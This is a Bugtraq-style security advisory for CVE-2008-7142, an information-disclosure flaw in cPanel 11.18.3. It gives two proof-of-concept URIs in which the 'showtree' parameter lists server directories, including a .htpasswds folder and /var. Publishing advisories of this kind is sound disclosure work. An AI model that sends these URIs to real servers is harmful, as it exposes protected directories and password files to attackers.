cPanel List Directories and Folders Information Disclosure Vulnerability

Bugtraq ID:	28300
Class:	Input Validation Error
CVE:	CVE-2008-7142
Remote:	Yes
Local:	No
Published:	Mar 18 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	Linux_Drox discovered this vulnerability.
Vulnerable:	cPanel cPanel 11.18.3
Not Vulnerable:

cPanel List Directories and Folders Information Disclosure Vulnerability

cPanel is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to determine programs that are running on the affected server and to view folders on other sites that are protected by a firewall. Information obtained may lead to further attacks.

cPanel List Directories and Folders Information Disclosure Vulnerability

Attackers can exploit this vulnerability with a browser.

The following proof-of-concept URIs are available:

http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/home/user/.htpasswds
http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/var

cPanel List Directories and Folders Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

cPanel List Directories and Folders Information Disclosure Vulnerability

References:

• cPanel Homepage (cPanel)
  
• cPanel 11.x => List Directories and Folders ([email protected])